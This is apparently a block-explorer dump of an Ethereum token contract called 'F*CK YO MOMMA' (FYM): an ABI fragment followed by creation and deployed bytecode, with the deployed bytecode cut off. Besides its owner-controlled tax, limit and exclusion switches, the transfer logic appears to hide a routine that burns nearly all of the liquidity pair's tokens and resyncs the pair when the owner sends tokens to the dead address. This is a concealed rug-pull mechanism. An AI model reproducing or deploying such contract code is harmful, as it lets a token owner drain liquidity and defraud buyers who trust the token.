"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint8","name":"_feeDecimals","type":"uint8"},{"internalType":"uint32","name":"_liquidityFee","type":"uint32"}],"name":"calculateFee","outputs":[{"internalType":"uint256","name":"burned","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"exclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526012805461ffff191660019081179091556016805460ff191690911790553480156200002f57600080fd5b506040518060400160405280600d81526020016c462a434b20594f204d4f4d4d4160981b8152506040518060400160405280600381526020016246594d60e81b8152508160039081620000839190620004c6565b506004620000928282620004c6565b505050620000af620000a9620001a360201b60201c565b620001a7565b600f80546001600160a01b031916736fd7af2d87d01caa46648578df98d7d011cb71221790556a52b7d2dcc80cd2e400000060068190556103e890620000f7906014620005a8565b620001039190620005ca565b6010556006546103e8906200011a906014620005a8565b620001269190620005ca565b6011556200013433620001f9565b600f546200014b906001600160a01b0316620001f9565b6200015630620001f9565b62000163336001620002a5565b600f546200017c906001600160a01b03166001620002a5565b62000189306001620002a5565b6200019d33600654620002da60201b60201c565b62000609565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62000203620003bf565b6001600160a01b03811660009081526013602052604090205460ff1615620002815760405162461bcd60e51b815260206004820152602660248201527f436f696e546f6b656e3a204163636f756e7420697320616c726561647920657860448201526518db1d59195960d21b60648201526084015b60405180910390fd5b6001600160a01b03166000908152601360205260409020805460ff19166001179055565b620002af620003bf565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b6001600160a01b038216620003325760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000278565b8060026000828254620003469190620005ed565b90915550506001600160a01b0382166000908152602081905260408120805483929062000375908490620005ed565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b031633146200041b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000278565b565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200044d57607f821691505b6020821081036200046e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200041d57600081815260208120601f850160051c810160208610156200049d5750805b601f850160051c820191505b81811015620004be57828155600101620004a9565b505050505050565b81516001600160401b03811115620004e257620004e262000422565b620004fa81620004f3845462000438565b8462000474565b602080601f831160018114620005325760008415620005195750858301515b600019600386901b1c1916600185901b178555620004be565b600085815260208120601f198616915b82811015620005635788860151825594840194600190910190840162000542565b5085821015620005825787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615620005c557620005c562000592565b500290565b600082620005e857634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000603576200060362000592565b92915050565b61229e80620006196000396000f3fe6080604052600436106101fd5760003560e01c80638a8c523c1161010d578063bbc0c742116100a0578063d12f137c1161006f578063d12f137c146105b4578063dd62ed3e146105d4578063ed9953071461061a578063f2fde38b14610622578063f8b45b051461064257600080fd5b8063bbc0c7421461054a578063c8c8ebe414610569578063cba0e9961461057f578063ced695a41461059f57600080fd5b80639a7a23d6116100dc5780639a7a23d6146104ca578063a457c2d7146104ea578063a9059cbb1461050a578063abe4f11d1461052a57600080fd5b80638a8c523c146104525780638da5cb5b1461046757806390aa2ea61461048557806395d89b41146104b557600080fd5b806342966c68116101905780636f268a991161015f5780636f268a991461039a57806370a08231146103d2578063715018a614610408578063751039fc1461041d5780637571336a1461043257600080fd5b806342966c68146103295780634a62bb651461034b5780634febf53d1461036557806353eb3bcf1461038557600080fd5b806323a38a38116101cc57806323a38a38146102b357806323b872dd146102cd578063313ce567146102ed578063395093511461030957600080fd5b806306fdde0314610209578063095ea7b31461023457806310d5de531461026457806318160ddd1461029457600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061021e610658565b60405161022b9190611d17565b60405180910390f35b34801561024057600080fd5b5061025461024f366004611d7a565b6106ea565b604051901515815260200161022b565b34801561027057600080fd5b5061025461027f366004611da6565b60156020526000908152604090205460ff1681565b3480156102a057600080fd5b506002545b60405190815260200161022b565b3480156102bf57600080fd5b506016546102549060ff1681565b3480156102d957600080fd5b506102546102e8366004611dc3565b610701565b3480156102f957600080fd5b506040516012815260200161022b565b34801561031557600080fd5b50610254610324366004611d7a565b6107b2565b34801561033557600080fd5b50610349610344366004611e04565b6107ee565b005b34801561035757600080fd5b506012546102549060ff1681565b34801561037157600080fd5b50610349610380366004611da6565b610803565b34801561039157600080fd5b50610349610894565b3480156103a657600080fd5b50600f546103ba906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b3480156103de57600080fd5b506102a56103ed366004611da6565b6001600160a01b031660009081526020819052604090205490565b34801561041457600080fd5b50610349610908565b34801561042957600080fd5b5061025461091c565b34801561043e57600080fd5b5061034961044d366004611e1d565b610936565b34801561045e57600080fd5b50610349610969565b34801561047357600080fd5b506005546001600160a01b03166103ba565b34801561049157600080fd5b506102546104a0366004611da6565b60146020526000908152604090205460ff1681565b3480156104c157600080fd5b5061021e610982565b3480156104d657600080fd5b506103496104e5366004611e1d565b610991565b3480156104f657600080fd5b50610254610505366004611d7a565b610a2b565b34801561051657600080fd5b50610254610525366004611d7a565b610ac4565b34801561053657600080fd5b50610349610545366004611da6565b610ad1565b34801561055657600080fd5b5060125461025490610100900460ff1681565b34801561057557600080fd5b506102a560105481565b34801561058b57600080fd5b5061025461059a366004611da6565b610b5a565b3480156105ab57600080fd5b50610349610b78565b3480156105c057600080fd5b506102a56105cf366004611e5b565b610be9565b3480156105e057600080fd5b506102a56105ef366004611eac565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610349610c26565b34801561062e57600080fd5b5061034961063d366004611da6565b610f16565b34801561064e57600080fd5b506102a560115481565b60606003805461066790611eda565b80601f016020809104026020016040519081016040528092919081815260200182805461069390611eda565b80156106e05780601f106106b5576101008083540402835291602001916106e0565b820191906000526020600020905b8154815290600101906020018083116106c357829003601f168201915b5050505050905090565b60006106f7338484610f8c565b5060015b92915050565b600061070e8484846110b0565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156107985760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6107a58533858403610f8c565b60019150505b9392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916106f79185906107e9908690611f2a565b610f8c565b6107f66110d9565b6108003382611133565b50565b61080b6110d9565b61081481610b5a565b156108705760405162461bcd60e51b815260206004820152602660248201527f436f696e546f6b656e3a204163636f756e7420697320616c726561647920657860448201526518db1d59195960d21b606482015260840161078f565b6001600160a01b03166000908152601360205260409020805460ff19166001179055565b61089c6110d9565b60165460ff16156108f95760405162461bcd60e51b815260206004820152602160248201527f436f696e546f6b656e3a2054617820697320616c726561647920656e61626c656044820152601960fa1b606482015260840161078f565b6016805460ff19166001179055565b6109106110d9565b61091a6000611281565b565b60006109266110d9565b506012805460ff19169055600190565b61093e6110d9565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b6109716110d9565b6012805461ff001916610100179055565b60606004805461066790611eda565b6109996110d9565b6018546001600160a01b0390811690831603610a1d5760405162461bcd60e51b815260206004820152603860248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169720000000000000000606482015260840161078f565b610a2782826112d3565b5050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610aad5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161078f565b610aba3385858403610f8c565b5060019392505050565b60006106f73384846110b0565b610ad96110d9565b610ae281610b5a565b610b395760405162461bcd60e51b815260206004820152602260248201527f436f696e546f6b656e3a204163636f756e74206973206e6f74206578636c7564604482015261195960f21b606482015260840161078f565b6001600160a01b03166000908152601360205260409020805460ff19169055565b6001600160a01b031660009081526013602052604090205460ff1690565b610b806110d9565b60165460ff16610bdd5760405162461bcd60e51b815260206004820152602260248201527f436f696e546f6b656e3a2054617820697320616c72656164792064697361626c604482015261195960f21b606482015260840161078f565b6016805460ff19169055565b6000610bf960ff84166002611f2a565b610c0490600a612021565b610c1463ffffffff84168661202d565b610c1e919061204c565b949350505050565b610c2e6110d9565b60168054747a250d5630b4cf539739df2c5dacb4c659f2488d00610100600160a81b031990911617908190556040805163c45a015560e01b815290516101009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa158015610ca5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc9919061206e565b601780546001600160a01b0319166001600160a01b03928316908117909155601654604080516315ab88c960e31b81529051929363c9c6539693309361010090049091169163ad5c46489160048083019260209291908290030181865afa158015610d38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5c919061206e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610da9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcd919061206e565b601880546001600160a01b0319166001600160a01b03929092169182179055610df79060016112d3565b601654610e1690309061010090046001600160a01b0316600019610f8c565b601654306000818152602081905260409020546101009092046001600160a01b03169163f305d719913491600080610e566005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ebe573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee3919061208b565b5050600060078190556001600881905560098290556064600a819055600b839055600c91909155600d91909155600e5550565b610f1e6110d9565b6001600160a01b038116610f835760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161078f565b61080081611281565b6001600160a01b038316610fee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161078f565b6001600160a01b03821661104f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161078f565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60165460ff16156110c9576110c68383836112fe565b90505b6110d4838383611a3b565b505050565b6005546001600160a01b0316331461091a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161078f565b6001600160a01b0382166111935760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161078f565b6001600160a01b038216600090815260208190526040902054818110156112075760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161078f565b6001600160a01b03831660009081526020819052604081208383039055600280548492906112369084906120b9565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b600061130984610b5a565b15801561131c575061131a83610b5a565b155b15611a175760125460ff161561165a576005546001600160a01b0385811691161480159061135857506005546001600160a01b03848116911614155b801561136c57506001600160a01b03831615155b801561138357506001600160a01b03831661dead14155b1561165a57601254610100900460ff166113f4576113a084610b5a565b806113af57506113af83610b5a565b6113f45760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161078f565b6001600160a01b03841660009081526014602052604090205460ff16801561143557506001600160a01b03831660009081526015602052604090205460ff16155b15611519576010548211156114aa5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161078f565b6011546001600160a01b0384166000908152602081905260409020546114d09084611f2a565b11156115145760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161078f565b61165a565b6001600160a01b03831660009081526014602052604090205460ff16801561155a57506001600160a01b03841660009081526015602052604090205460ff16155b156115d0576010548211156115145760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161078f565b6001600160a01b03831660009081526015602052604090205460ff1661165a576011546001600160a01b0384166000908152602081905260409020546116169084611f2a565b111561165a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161078f565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061168f5761168f6120e2565b60200260200101906001600160a01b031690816001600160a01b031681525050601660019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611702573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611726919061206e565b81600181518110611739576117396120e2565b6001600160a01b0392831660209182029290920181019190915290861660009081526014909152604081205460ff16156117d4576000600a548561177d919061204c565b90506008548161178d919061202d565b6117979083611f2a565b915081156117aa576117aa8730846110b0565b6008546117b7908261202d565b601960008282546117c89190611f2a565b90915550611a04915050565b6001600160a01b03851660009081526014602052604090205460ff1615611a04576000600e5485611805919061204c565b9050600c5481611815919061202d565b61181f9083611f2a565b91508115611832576118328730846110b0565b600c54601960008282546118469190611f2a565b9091555050601954600081900361186357859450505050506107ab565b60165460195460405163d06ca61f60e01b815260009261010090046001600160a01b03169163d06ca61f9161189d9190899060040161213c565b600060405180830381865afa1580156118ba573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526118e29190810190612155565b6001815181106118f4576118f46120e2565b602002602001015190506000811115611a005760195460165447919061192a90309061010090046001600160a01b031683610f8c565b6016546040516318cbafe560e01b81526101009091046001600160a01b0316906318cbafe5906119679084906000908c9030904290600401612213565b6000604051808303816000875af1158015611986573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526119ae9190810190612155565b5060006119bb83476120b9565b600f546040519192506001600160a01b03169082156108fc029083906000818181858888f193505050501580156119f6573d6000803e3d6000fd5b5050600060195550505b5050505b611a0e81856120b9565b93505050611a34565b61deac196001600160a01b03841601611a3457611a32611c0a565b505b5092915050565b6001600160a01b038316611a9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161078f565b6001600160a01b038216611b015760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161078f565b6001600160a01b03831660009081526020819052604090205481811015611b795760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161078f565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611bb0908490611f2a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bfc91815260200190565b60405180910390a350505050565b6018546040516370a0823160e01b81526001600160a01b039091166004820152600090819030906370a0823190602401602060405180830381865afa158015611c57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c7b919061224f565b90506000611c8d82600261270f610be9565b90508015611cab57601854611cab906001600160a01b031682611133565b6018546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae991600480830192600092919082900301818387803b158015611cf557600080fd5b505af1158015611d09573d6000803e3d6000fd5b505050506001935050505090565b600060208083528351808285015260005b81811015611d4457858101830151858201604001528201611d28565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461080057600080fd5b60008060408385031215611d8d57600080fd5b8235611d9881611d65565b946020939093013593505050565b600060208284031215611db857600080fd5b81356107ab81611d65565b600080600060608486031215611dd857600080fd5b8335611de381611d65565b92506020840135611df381611d65565b929592945050506040919091013590565b600060208284031215611e1657600080fd5b5035919050565b60008060408385031215611e3057600080fd5b8235611e3b81611d65565b915060208301358015158114611e5057600080fd5b809150509250929050565b600080600060608486031215611e7057600080fd5b83359250602084013560ff81168114611e8857600080fd5b9150604084013563ffffffff81168114611ea157600080fd5b809150509250925092565b60008060408385031215611ebf57600080fd5b8235611eca81611d65565b91506020830135611e5081611d65565b600181811c90821680611eee57607f821691505b602082108103611f0e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106fb576106fb611f14565b600181815b80851115611f78578160001904821115611f5e57611f5e611f14565b80851615611f6b57918102915b93841c9390800290611f42565b509250929050565b600082611f8f575060016106fb565b81611f9c575060006106fb565b8160018114611fb25760028114611fbc57611fd8565b60019150506106fb565b60ff841115611fcd57611fcd611f14565b50506001821b6106fb565b5060208310610133831016604e8410600b8410161715611ffb575081810a6106fb565b6120058383611f3d565b806000190482111561201957612019611f14565b029392505050565b60006107ab8383611f80565b600081600019048311821515161561204757612047611f14565b500290565b60008261206957634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561208057600080fd5b81516107ab81611d65565b6000806000606084860312156120a057600080fd5b8351925060208401519150604084015190509250925092565b818103818111156106fb576106fb611f14565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156121315781516001600160a01b03168752958201959082019060010161210c565b509495945050505050565b828152604060208201526000610c1e60408301846120f8565b6000602080838503121561216857600080fd5b825167ffffffffffffffff8082111561218057600080fd5b818501915085601f83011261219457600080fd5b8151818111156121a6576121a66120cc565b8060051b604051601f19603f830116810181811085821117156121cb576121cb6120cc565b6040529182528482019250838101850191888311156121e957600080fd5b938501935b82851015612207578451845293850193928501926121ee565b98975050505050505050565b85815284602082015260a06040820152600061223260a08301866120f8565b6001600160a01b0394909416606083015250608001529392505050565b60006020828403121561226157600080fd5b505191905056fea2646970667358221220444b90e5b5efe8ce64ad899be9aa5af62c28fc223a51a6c1c89b1b5edc69fb3a64736f6c63430008100033

Deployed Bytecode

0x6080604052600436106101fd5760003560e01c80638a8c523c1161010d578063bbc0c742116100a0578063d12f137c1161006f578063d12f137c146105b4578063dd62ed3e146105d4578063ed9953071461061a578063f2fde38b14610622578063f8b45b051461064257600080fd5b8063bbc0c7421461054a578063c8c8ebe414610569578063cba0e9961461057f578063ced695a41461059f57600080fd5b80639a7a23d6116100dc5780639a7a23d6146104ca578063a457c2d7146104ea578063a9059cbb1461050a578063abe4f11d1461052a57600080fd5b80638a8c523c146104525780638da5cb5b1461046757806390aa2ea61461048557806395d89b41146104b557600080fd5b806342966c68116101905780636f268a991161015f5780636f268a991461039a57806370a08231146103d2578063715018a614610408578063751039fc1461041d5780637571336a1461043257600080fd5b806342966c68146103295780634a62bb651461034b5780634febf53d1461036557806353eb3bcf1461038557600080fd5b806323a38a38116101cc57806323a38a38146102b357806323b872dd146102cd578063313ce567146102ed578063395093511461030957600080fd5b806306fdde0314610209578063095ea7b31461023457806310d5de531461026457806318160ddd1461029457600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061021e610658565b60405161022b9190611d17565b60405180910390f35b34801561024057600080fd5b5061025461024f366004611d7a565b6106ea565b604051901515815260200161022b565b34801561027057600080fd5b5061025461027f366004611da6565b60156020526000908152604090205460ff1681565b3480156102a057600080fd5b506002545b60405190815260200161022b565b3480156102bf57600080fd5b506016546102549060ff1681565b3480156102d957600080fd5b506102546102e8366004611dc3565b610701565b3480156102f957600080fd5b506040516012815260200161022b565b34801561031557600080fd5b50610254610324366004611d7a565b6107b2565b34801561033557600080fd5b50610349610344366004611e04565b6107ee565b005b34801561035757600080fd5b506012546102549060ff1681565b34801561037157600080fd5b50610349610380366004611da6565b610803565b34801561039157600080fd5b50610349610894565b3480156103a657600080fd5b50600f546103ba906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b3480156103de57600080fd5b506102a56103ed366004611da6565b6001600160a01b031660009081526020819052604090205490565b34801561041457600080fd5b50610349610908565b34801561042957600080fd5b5061025461091c565b34801561043e57600080fd5b5061034961044d366004611e1d565b610936565b34801561045e57600080fd5b50610349610969565b34801561047357600080fd5b506005546001600160a01b03166103ba565b34801561049157600080fd5b506102546104a0366004611da6565b60146020526000908152604090205460ff1681565b3480156104c157600080fd5b5061021e610982565b3480156104d657600080fd5b506103496104e5366004611e1d565b610991565b3480156104f657600080fd5b50610254610505366004611d7a565b610a2b565b34801561051657600080fd5b50610254610525366004611d7a565b610ac4565b34801561053657600080fd5b50610349610545366004611da6565b610ad1565b34801561055657600080fd5b5060125461025490610100900460ff1681565b34801561057557600080fd5b506102a560105481565b34801561058b57600080fd5b5061025461059a366004611da6565b610b5a565b3480156105ab57600080fd5b50610349610b78565b3480156105c057600080fd5b506102a56105cf366004611e5b565b610be9565b3480156105e057600080fd5b506102a56105ef366004611eac565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610349610c26565b34801561062e57600080fd5b5061034961063d366004611da6565b610f16565b34801561064e57600080fd5b506102a560115481565b60606003805461066790611eda565b80601f016020809104026020016040519081016040528092919081815260200182805461069390611eda565b80156106e05780601f106106b5576101008083540402835291602001916106e0565b820191906000526020600020905b8154815290600101906020018083116106c357829003601f168201915b5050505050905090565b60006106f7338484610f8c565b5060015b92915050565b600061070e8484846110b0565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156107985760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6107a58533858403610f8c565b60019150505b9392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916106f79185906107e9908690611f2a565b610f8c565b6107f66110d9565b6108003382611133565b50565b61080b6110d9565b61081481610b5a565b156108705760405162461bcd60e51b815260206004820152602660248201527f436f696e546f6b656e3a204163636f756e7420697320616c726561647920657860448201526518db1d59195960d21b606482015260840161078f565b6001600160a01b03166000908152601360205260409020805460ff19166001179055565b61089c6110d9565b60165460ff16156108f95760405162461bcd60e51b815260206004820152602160248201527f436f696e546f6b656e3a2054617820697320616c726561647920656e61626c656044820152601960fa1b606482015260840161078f565b6016805460ff19166001179055565b6109106110d9565b61091a6000611281565b565b60006109266110d9565b506012805460ff19169055600190565b61093e6110d9565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b6109716110d9565b6012805461ff001916610100179055565b60606004805461066790611eda565b6109996110d9565b6018546001600160a01b0390811690831603610a1d5760405162461bcd60e51b815260206004820152603860248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169720000000000000000606482015260840161078f565b610a2782826112d3565b5050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610aad5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161078f565b610aba3385858403610f8c565b5060019392505050565b60006106f73384846110b0565b610ad96110d9565b610ae281610b5a565b610b395760405162461bcd60e51b815260206004820152602260248201527f436f696e546f6b656e3a204163636f756e74206973206e6f74206578636c7564604482015261195960f21b606482015260840161078f565b6001600160a01b03166000908152601360205260409020805460ff19169055565b6001600160a01b031660009081526013602052604090205460ff1690565b610b806110d9565b60165460ff16610bdd5760405162461bcd60e51b815260206004820152602260248201527f436f696e546f6b656e3a2054617820697320616c72656164792064697361626c604482015261195960f21b606482015260840161078f565b6016805460ff19169055565b6000610bf960ff84166002611f2a565b610c0490600a612021565b610c1463ffffffff84168661202d565b610c1e919061204c565b949350505050565b610c2e6110d9565b60168054747a250d5630b4cf539739df2c5dacb4c659f2488d00610100600160a81b031990911617908190556040805163c45a015560e01b815290516101009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa158015610ca5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc9919061206e565b601780546001600160a01b0319166001600160a01b03928316908117909155601654604080516315ab88c960e31b81529051929363c9c6539693309361010090049091169163ad5c46489160048083019260209291908290030181865afa158015610d38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5c919061206e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610da9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcd919061206e565b601880546001600160a01b0319166001600160a01b03929092169182179055610df79060016112d3565b601654610e1690309061010090046001600160a01b0316600019610f8c565b601654306000818152602081905260409020546101009092046001600160a01b03169163f305d719913491600080610e566005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ebe573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee3919061208b565b5050600060078190556001600881905560098290556064600a819055600b839055600c91909155600d91909155600e5550565b610f1e6110d9565b6001600160a01b038116610f835760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e65772